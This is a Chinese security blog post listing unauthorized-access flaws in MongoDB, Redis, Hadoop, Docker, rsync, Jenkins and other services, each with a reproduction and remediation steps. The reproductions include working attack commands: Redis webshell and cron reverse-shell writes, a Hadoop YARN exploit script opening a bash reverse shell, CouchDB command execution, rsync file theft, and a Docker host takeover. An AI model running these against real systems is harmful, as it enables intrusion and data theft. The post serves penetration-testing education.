常见未授权访问漏洞

Posted by Tattoo on 2020-12-11
Estimated Reading Time 15 Minutes
Words 3.9k In Total
Viewed Times

未授权访问漏洞

MongoDB未授权访问漏洞

漏洞成因

MongoDB服务默认未开启权限验证,若启动mongodb服务时,未设置--auth参数(添加账号密码),则攻击者无需密码(默认空口令)可直接操作数据库,默认端口27017

漏洞复现
  1. 使用高交互shell连接mongodb

执行show dbs命令,无报错信息,列表存在默认库local库,则判断存在未授权访问(local库即便删除,重启mongodb后仍会生成)

  • NoSQLBooster或robot3t

  1. python脚本探测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import pymongo
def mongodb(ip,port):
try:
client = pymongo.MongoClient(ip,port)
db=client.local
flag = db.collection_names()
if flag:
print db
print "[+] Mongodb login for anonymous"
except Exception,e:
print e

mongodb('ip',27017)
漏洞修复
  1. 添加认证
  • 启动服务时,添加--auth参数
  • 添加用户
1
2
3
use admin
db.addUser("admin" "password")
db.auth("admin","password")
  1. 本地监听
  • 如非必要,建议只在本地开启监听服务,只能本机访问mongodb,使用参数--bind_ip 127.0.0.1绑定地址,或在 /etc/mongodb.conf 文件中添加以下内容bind_ip = 127.0.0.1

CouchDB未授权访问漏洞(任意命令执行)

漏洞成因

配置文件local.ini中的配置项query_server允许用户指定一个二进制程序或脚本与CouchDB进行数据交互和处理,并且还提供了一个API接口用来动态修改配置属性,通过修改query_servers配置,引入外部二进制程序来执行命令,默认端口5984

漏洞复现

nmap扫描检测couchdb

1
nmap -p 5984 —script couchdb-stats.nse ip

未授权访问测试

任意命令执行

该漏洞需要登录用户才可触发,利用CVE-2017-12635垂直权限绕过创建一个账号密码vulhub:vulhub

  1. 调用API接口,新增一个名为cmdquery_servers配置,写入要执行的命令id > /tmp/success

    1
    curl -X PUT 'http://vulhub:vulhub@ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
  2. 新建一个数据库couchtest和表couch,插入一条记录

    1
    2
    curl -X PUT 'http://vulhub:vulhub@ip:5984/couchtest'
    curl -X PUT 'http://vulhub:vulhub@ip:5984/couchtest/couch' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
  3. 调用query_servers处理数据,即查询数据库couchtest,将language设置为cmd,就会用到刚才配置的query_servers,从而触发命令执行

    1
    curl -X POST 'http://vulhub:vulhub@ip:5984/couchtest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

命令成功执行

漏洞修复
  1. 绑定本地ip

    /etc/couchdb/local.ini文件中修改bind_address = 0.0.0.0bind_address = 127.0.0.1,重启生效后,外网无法访问

  2. 设置访问密码

    /etc/couchdb/local.ini文件中找到[admins]字段并配置密码

Memcached未授权访问漏洞

漏洞成因

自身的安全设计缺陷没有权限控制模块,客户端连接 Memcached 服务器后无需认证就可读取、修改服务器缓存内容,默认端口11211

漏洞复现

nmap扫描检测Memcache

1
nmap -p 11211 --script memcached-info 192.168.120.71

未授权访问测试

1
telnet 192.168.120.71 11211

1
nc -vv 192.168.120.71 11211

stats查看memcache服务状态

漏洞修复
  1. 绑定本地ip

    启动服务时,使用-l 127.0.0.1参数指定监听地址,只允许本地访问

  2. 配置访问控制

    通过安全组规则或防火墙配置访问控制规则,禁止访问11211端口

  3. 修改默认端口

  4. 最小权限运行服务

ElasticSearch未授权访问漏洞

漏洞成因

Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300端口的服务器进行恶意攻击

漏洞复现

python脚本探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /usr/bin/env python
# _*_ coding:utf-8 _*_

import requests
def Elasticsearch_check(ip, port=9200, timeout=5):
try:
url = "http://"+ip+":"+str(port)+"/_cat"
response = requests.get(url)
except:
pass
if "/_cat/master" in response.content:
print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

Elasticsearch_check("127.0.0.1")

未授权访问测试

  1. 查询节点数据

    1
    http://localhost:9200/_nodes

  2. 获取所有的index

    1
    http://localhost:9200/_cat/indices?v

漏洞修复
  1. 绑定固定ip

    访问控制策略,限制IP访问

  2. 设置认证

    config/elasticsearch.yml中为9200端口设置认证等

    1
    2
    3
    4
    http.basic.enabled true #开关,开启会接管全部HTTP连接
    http.basic.user "admin" #账号
    http.basic.password "admin_pw" #密码
    http.basic.ipwhitelist ["localhost", "127.0.0.1"] #本地地址

JBoss未授权访问漏洞

漏洞成因

默认情况下,访问http://ip:8080/jmx-console就可以进入管理控制台,不需要用户名和密码,可以通过脚本命令执行系统命令,如反弹shell,部署上传木马等

漏洞复现

访问jmx-console进入控制台,然后进入jboss.deployment,使用addURL()函数,远程部署木马

将war包放到服务器上

填写木马远程URL并调用

访问http://ip/war包名/war包内文件

漏洞修复
  1. 对jmx控制页面访问添加访问验证,设置强口令
  2. 关闭JMX Console和Web Console

Rsync 未授权访问漏洞

漏洞成因

Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患,Rsync 默认端口为 837

漏洞复现

vulhub环境搭建,使用原始Dockerfile搭建会报错

修改Dockerfile如下

docker-compose build

docker-compose up -d

nmap扫描rsync服务

1
nmap -p 873 --script rsync-list-modules your-ip

查看目录中的文件

1
rsync rsync://your-ip/src

任意文件下载

1
rsync rsync://your-ip/src/etc/passwd ./passwd.txt

利用cron定时任务反弹shell

可以选择写入webshell或者shh公钥

下载crontab文件,查看定时任务

1
rsync rsync://your-ip/src/etc/crontab ./

表示每小时的第17分钟执行run-parts –report /etc/cron.hourly

写入反弹shell的bash文件

使用rsync上传至/etc/cron.hourly

1
rsync -av nc rsync:/your-ip:873/src/etc/cron.hourly

已成功上传至容器内的/etc/cron.hourly目录

攻击机监听端口,成功获取shell

漏洞修复

修改配置文件/etc/rsyncd.conf参数

  1. 访问控制

    设置host allow = 127.0.0.1

  2. 权限控制

    设置read only = yes

  3. 访问认证

    设置auth users认证用户名、secrets files密码文件(username:password)

    auth users = username

    secrets files = /etc/rsyncd.passwd

  4. 模块隐藏

    设置list = false

Redis未授权访问漏洞

漏洞成因

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。利用Redis自身提供的config命令,可以进行写文件操作,可以写入ssh公钥、webshell、定时任务等操作

漏洞复现

nmap扫描redis服务

1
nmap -p 6379 --script redis-info ip

未授权访问测试

  1. 使用redisclient.jar直接无账号登录redis

  2. redis-cli

利用漏洞写入webshell

利用条件:

  1. 存在web服务

    1. 知道网站绝对路径
    2. 具有读写权限
1
2
3
4
config set dir /var/www/html
config set dbfilename shell.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

\r\n\r\n代表换行,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

利用漏洞写入定时任务反弹shell

利用条件:

  1. 具有可写计划任务权限

    1. centos:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败
1
2
3
4
config set dir /var/spool/cron
set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.120.60/9999 0>&1\n\n"
config set dbfilename root
save

计划任务:每分钟执行一次反弹shell的命令

利用漏洞写入ssh公钥

利用条件:

  1. root权限

    1. 开启ssh密钥登录

当redis服务以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH连接目标服务器

  • ssh-keygen生成公钥
1
ssh-keygen -t rsa

  • 将公钥导入key.txt文件
1
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
  • 将公钥设置为redis的变量
1
cat /opt/key.txt | redis-cli -h 192.168.120.67 -x set myssh

  • 在目标机/root/.ssh目录下生成authorized_keys文件
1
2
3
4
redis-cli -h 192.168.168.133
config set dir /root/.ssh
config set dbfilename authorized_keys
save

成功写入authorized_keys文件

本地ssh成功连接

1
ssh 192.168.120.67

利用漏洞主从复制RCE

如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

利用条件:

  1. 存在未授权访问漏洞

    1. redis version >= 4.0

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

container1:27001->6379

container2:27002->6379

  1. make生成恶意.so文件
1
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
  1. 攻击机执行脚本,可选择生成一个交互的shell,或者重新反弹一个shell
1
2
git clone https://github.com/Ridter/redis-rce.git
python redis-rce.py -r 192.168.1.54 -p 27001 -L 192.168.1.55 -f module.so

漏洞修复
  1. 启动密码认证redis
  2. 添加ip访问限制
  3. 更改默认端口6379
  4. 低权限启动redis服务

VNC未授权访问漏洞

漏洞成因

VNC 是虚拟网络控制台,一款优秀的远程控制工具软件,默认端口号为 5900、5901,未授权访问产生原因是未设置VNC连接密码。VNC 未授权访问漏洞被利用可能造成恶意用户直接控制受控主机,危害相当严重

漏洞复现

安装vnc客户端,选择无验证

kali上运行

1
vncviewer 192.168.120.71

漏洞修复
  1. 配置 VNC 客户端登录口令认证并配置强口令
  2. 以最小普通权限身份运行操作系统

Hadoop未授权访问漏洞

漏洞成因

Hadoop 默认开放了很多端口来提供 WebUI 服务,通过访问HDFS的WebUI 管理界面的 50070 端口,可以命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作

漏洞复现

利用过程:

1. 本地监听端口

2. 调用New Application API创建Application
            3. 调用Submit Application API提交

未授权访问测试

访问http://your-ip:8088/cluster

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
#usage: python hadoopEXP.py

import requests

target = 'http://target-hadoop-ip:8088/'
lhost = 'your-ip'

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/8080 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

漏洞修复
  1. 关闭Hadoop Web管理页面
  2. 开启身份验证,防止未经授权用户访问
  3. 设置安全组访问控制策略,只有信任IP能访问开放的端口

Docker未授权访问漏洞

漏洞成因

Docker Remote API是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为1.3和1.6,因为权限控制等问题导致可以通过docker client或者http直接请求就可以访问这个API,通过这个接口,我们可以新建 container,删除已有container,获取宿主机的 shell。

漏洞复现

通过命令连接,返回信息说明漏洞存在

1
docker -H tcp://172.16.41.176:2375 version

写入ssh公钥

运行一个新容器,并且将该宿主机的根目录挂在到容器的/mnt目录下,启动之后就会获得该容器宿主机的shell

1
docker -H tcp://172.16.41.176:2375 run -it -v /:/mnt nginx:latest /bin/bash

将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录,过程不再赘述

漏洞修复
  1. 设置ACL,对2375端口做网络访问控制,只允许信任ip连接对应端口
  2. 修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行

Jenkins未授权访问漏洞

漏洞成因

未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件

漏洞复现

访问http://192.168.88.102:8080/manage写shell

执行系统命令

1
println "whoami".execute().text

还可以进行写webshell,写crontab反弹shell等操作,前提具有一定高权限

漏洞修复
  1. 添加登录密码验证
  2. 升级版本

Jupyter Notebook未授权访问漏洞

漏洞成因

Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言,默认监听在8888端口。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令

漏洞复现

访问http://your-ip:8888

可以直接打开一个终端

漏洞修复
  1. 开启身份验证,配置密码
  2. 设置访问控制策略

ActiveMQ未授权访问漏洞

漏洞成因

ActiveMQ是一种在分布式系统中应用程序借以传递消息的媒介,默认监听在8161端口。默认情况下,ActiveMQ服务是没有配置安全参数,攻击者可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。ActiveMQ默认账号密码为admin/admin

漏洞复现

利用未授权漏洞,结合默认PUT请求方法任意文件上传

访问http://your-ip:8161/登录

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息。若服务器存在fileserver目录,则可以通过put请求写入文件,但fileserver下的文件默认不解析。

然后使用MOVE请求移动文件,如果是写入webshell需要做的物理路径,在http://your-ip:8161/admin/test/systemProperties.jsp可以查看物理路径

MOVE移动文件

漏洞修复
  1. 针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务
  2. 针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务

宝塔面板phpMyAdmin未授权访问漏洞

漏洞成因

漏洞未phpmyadmin未鉴权,可通过特定地址直接登录数据库的漏洞。

宝塔Linux面板7.4.2版本和Windows面板6.8版本存在phpmyadmin未授权访问漏洞

漏洞复现

直接访问http://ip:888/pma即可直接登录

漏洞修复
  1. 更新版本
  2. 进入/www/server/phpmyadmin/目录,把PMA目录删掉

If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !